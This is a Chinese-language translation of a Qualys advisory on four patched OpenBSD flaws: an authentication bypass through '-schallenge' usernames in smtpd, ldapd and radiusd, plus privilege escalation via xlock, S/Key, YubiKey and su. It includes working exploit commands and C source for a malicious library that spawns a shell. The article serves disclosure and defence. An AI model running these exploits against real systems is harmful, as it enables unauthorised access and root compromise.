开源操作系统 OpenBSD 被曝四个严重的认证绕过和提权漏洞（详情）

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编译：奇安信代码卫士团队

具有安全基因、免费、基于 BSD 的类 Unix 开源操作系统 OpenBSD 被指存在四个高危安全漏洞。其中一个是存在于 BSD Auth 框架中传统的类型身份验证绕过漏洞，另外三个是可导致本地用户或恶意软件分别获取认证组、root 以及其它用户权限的提权漏洞。

本周早些时候，Qualys 研究实验室发现并报告了这些漏洞，而 OpenBSD 开发人员快速响应，在不到40小时的时间里迅速为 OpenBSD 6.5 和OpenBSD 6.6 发布补丁。

研究人员对这些漏洞的分析和案例研究如下：

CVE-2019-19521：身份验证绕过

研究人员在 OpenBSD 的认证系统中发现了认证绕过漏洞CVE-2019-19521。该漏洞存在于 OpenBSD 身份验证框架解析通过 smtpd、ldapd、radiusd、su 或 sshd 服务登录的用户提供的用户名方式中。虽然可在 smtpd、ldapd和 radiusd 中远程利用该漏洞，但应该采取具体案例具体分析的方法评估它的影响。例如，sshd 或su 中具有深入防御机制，即使在身份验证成功被绕过后会挂起连接，因此无法被利用。不过攻击者仍然能够通过利用 sshd 中的这个漏洞来判断 OpenBSD 是否易受影响。

具体分析

从 login.conf 手册可获悉：

OpenBSD 使用了 BSD 身份验证，它由多种身份验证方式组成。目前涵盖的验证方式如下：psswd：要求输入密码并将其和 master.passwd 文件中的密码进行比对。见 login_passwd(8)。skey：发送challenge并请求响应，通过 S/Key (tm) 身份验证进行检查。见 login_skey(8)。yubikey：使用 Yubico YubiKey 令牌进行验证。见 login_yubikey(8)。对于任何既定方式，均通过 /usr/libexec/auth/login_style 程序进行验证。该程序的概要为： /usr/libexec/auth/login_style [-v name=value][-s service] username clas

于是我们的第一个疑问是：如果攻击者指定了表单“-option”的用户名，那么就能够以预料之外的方法来影响身份验证程序的行为。

logi_passwd 的手册指出：

login_passwd [-s service] [-v wheel=yes|no] [-vlastchance=yes|no] user
                 [class]参数 service 指定了调用程序应该使用的协议。可以使用的协议是 login、challenge 和 response。（OpenBSD 的身份验证框架将“schallenge”解释为“-s challenge”，从而强制系统静默忽视challenge 协议，从而自动绕过该验证方式。由于密码验证方式并非基于 challenge-response，因此将会报告成功结果。）

这就造成第二个疑问：如果攻击者指定了用户名 “-schallenge”（或者指定“schallenge:passwd”来强制开展密码方式的身份验证），那么身份验证自动成功因此会被绕过。

1、案例研究：smtpd

为了演示smtpd的身份验证如何被绕过，我们按照 smtpd.conf 手册中的指令行事：

在第二个例子中，目的是允许邮件发送并仅为能够进行身份验证（使用正常的登录凭证）的用户中继。

...
listen on egress tls pki mail.example.com auth
...
match auth from any for any action "outbound"

之后我们重启了 smtpd。然后我们即可实施远程攻击：

$ printf '\0-schallenge\0whatever' | openssl base64
AC1zY2hhbGxlbmdlAHdoYXRldmVy

$ openssl s_client -connect 192.168.56.121:25 -starttls smtp
...
EHLO client.example.com
...
AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy
235 2.0.0 Authentication succeeded

2、案例研究：ldapd

ldapd 手册指出：

ldapd 能够通过简单的绑定或者具有uPLAIN 机制的SASL 对用户进行身份验证。
当用户使用 SASL 绑定方式时，身份验证 ID 应该是BSD Authentication 的一个合法用户名。要使其接受明文形式的密码，连接必须是安全的，或者使用加密连接或者使用配置文件中的安全关键字。

在如此安全的连接中，远程攻击者可绕过 ldapd 的 SASL 身份验证方式：

$ ldapsearch -H ldap://192.168.56.121 -O none -U invaliduser -w whatever
SASL/PLAIN authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)

$ ldapsearch -H ldap://192.168.56.121 -O none -U -schallenge -w whatever
SASL/PLAIN authentication started
SASL username: -schallenge
...
# numResponses: 1
-------------------------------

3、案例研究：radiusd

为了展示如何绕过 radiusd 的身份验证，我们截取了 radiusd.conf 手册中的配置示例：

           module load "bsdauth" "/usr/libexec/radiusd/radiusd_bsdauth"
           ...
           authenticate * {
                   authenticate-by "bsdauth"
           }

之后我们发送了如下的（成功）验证请求：

$ radiusctl test 192.168.56.121 secret -schallenge password whatever
    ...
    Reply-Message             = "Authentication succeeded"

如果我们进一步修改 radiusd 的配置，限制对“operator”组成员的访问权限：

module set "bsdauth"  "restrict-group" "operator"

并且发送身份验证请求，那么 radiusd_bsdauth 就会因为空指针取消引用而崩溃（因为 getpwnam(“-schallenge”) 返回 NULL）：

 80 int
 81 main(int argc, char *argv[])
 82 {
...
192                                 pw = getpwnam(user);
...
197                                 if (gr->gr_gid == pw->pw_gid) {

4、案例研究：sshd

即使攻击者能够通过不合法用户如 “-schallenge” 绕过 sshd 的身份验证，sshd 最终会拒绝：

 225 void
 226 monitor_child_preauth(struct ssh *ssh, struct monitor *pmonitor)
 227 {
 ...
 229         int authenticated = 0, partial = 0;
 ...
 249         while (!authenticated) {
 ...
 288         }
 289
 290         if (!authctxt->valid)
 291                 fatal("%s: authenticated invalid user", __func__);

尽管如此，我们能够使用 sshd 远程测试 OpenBSD 系统是否易受 CVE-2019-19521 的影响：

$ ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive \
      -o KbdInteractiveDevices=bsdauth -l -sresponse:passwd 192.168.56.121
...
debug1: Next authentication method: keyboard-interactive

如果连接挂起，那么证明易受攻击，因为 sshd 等待 login_passwd 发送一个 challenge，而 login_passwd 等待 sshd 发送一个响应（因为 login_passwd 将用户名“-sresponse”作为一种选项进行拦截）。

5、案例研究：su

本地攻击者能够为不合法的用户“-schallenge”绕过 su 的身份验证，但 su 最终由于空指针取消引用而崩溃（因为 getpwnam(“-schallenge”,…) 返回 NULL）：

$ su -L -- -schallenge
Segmentation fault

CVE-2019-19520：xlock 中的本地提权

由于对 dlopen() 中所提供的环境路径的错误处理，OpenBSD 上默认安装的 xlock 可导致本地攻击者将权限提升至“auth”组。

OpenBSD 上默认安装 /usr/X11R6/bin/xlock，而且是 set-group-ID “auth”，而非 set-user-ID；因此下面的检查是不完整的而且应该使用 issetugid()：

101 _X_HIDDEN void *
102 driOpenDriver(const char *driverName)
103 {
...
113    if (geteuid() == getuid()) {
114       /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */
115       libPaths = getenv("LIBGL_DRIVERS_PATH");
----------------------------------------------------

本地攻击者能够利用该漏洞并将自己的驱动 dlopen() 以获取“auth”组的权限：

$ id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);

    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

CVE-2019-19522：经由 S/Key 和 YubiKey 的本地提取

由于对通过非默认配置“S/Key”和“YubiKey”的授权机制操作不正确，因此具有“auth”组权限的本地攻击者能够获取 root 用户的完整权限。具体而言：

如果启用了 S/Key 或 YubiKey 认证方式（它们均为默认安装但默认禁用），那么本地攻击者能够利用“auth”组的权限获取用户“root”的完整权限（因为 login_skey 和login_yubikey 不会验证 /etc/skey and /var/db/yubikey 中的文件是否属于正确的用户，而且这些目录均可由“auth”组写入）。

（注：要获取“auth”组的权限，本地攻击者可以首先利用 xlock 中的 CVE-2019-19520。）

如果（通过 skeyinit -E）启用了 S/Key，那么具有“auth”权限的本地用户可为用户“root”增加一个 S/Key 条目（/etc/skey 中的文件）（如果该文件已存在，那么攻击者无法直接删除或更名，因为 /etc/skey 是粘性的：它已存在缓解措施，这个问题就留给感兴趣的读者吧）：

$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password: EGG LARD GROW HOG DRAG LAIN

# id
uid=0(root) gid=0(wheel) ...

如果（通过 login.conf）启用了 YubiKey，具有“auth”权限的本地攻击者就能够为用户“root”增加一个 YubiKey 条目（/var/db/yubikey 中的两个文件）（如果这些文件已存在，那么攻击者就能够直接删除或更名，因为var/db/yubikey 不具有粘性）：

$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey
Password: krkhgtuhdnjclrikikklulkldlutreul

# id
uid=0(root) gid=0(wheel) ...

CVE-2019-19519：su 中的本地提取

由于 su 的其中一个主要函数中存在一个逻辑错误，导致本地攻击者能够通过利用 su 的–L 选项实现任意用户的登录类（通常不包括 root）。

本地攻击者能够利用 su 的–L 选项（“一直循环，直到输入正确的用户名密码组合为止”）以自己的身份登录但使用的是其它用户的登录类（如果攻击者不在“wheel”组中则是root 的登录类），因为该类变量只设置一次而且不会重置：

 60 int
 61 main(int argc, char **argv)
 62 {
...
174         for (;;) {
...
210                 if (!class && pwd && pwd->pw_class && pwd->pw_class[0] != '\0')
211                         class = strdup(pwd->pw_class);

在如下示例中，Jane（属于"wheel”组的一个成员）以 root 登录类（"daemon”）登录，从而增加了她的登录级别资源限制：

$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)

$ ulimit -H -a
...
processes            512

$ su -l -L
login: root
Password:
Login incorrect
login: jane
Password:

$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)

$ ulimit -H -a
...
processes            1310

在如下例子中，John（并非“wheel”组的成员），以 _pbuild 的登录类 (“pbuild”) 登录，从而降低了他的登录级别资源限制：

$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ulimit -H -a
...
data(kbytes)         786432
...
processes            256

$ su -l -L
login: _pbuild
Password:
Login incorrect
login: john
Password:

$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ulimit -H -a
...
data(kbytes)         33554432
...
processes            1024

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原文链接

https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt?_ga=2.58244398.587934852.1575530822-682141427.1570559125

https://thehackernews.com/2019/12/openbsd-authentication-vulnerability.html

题图：Pixabay License

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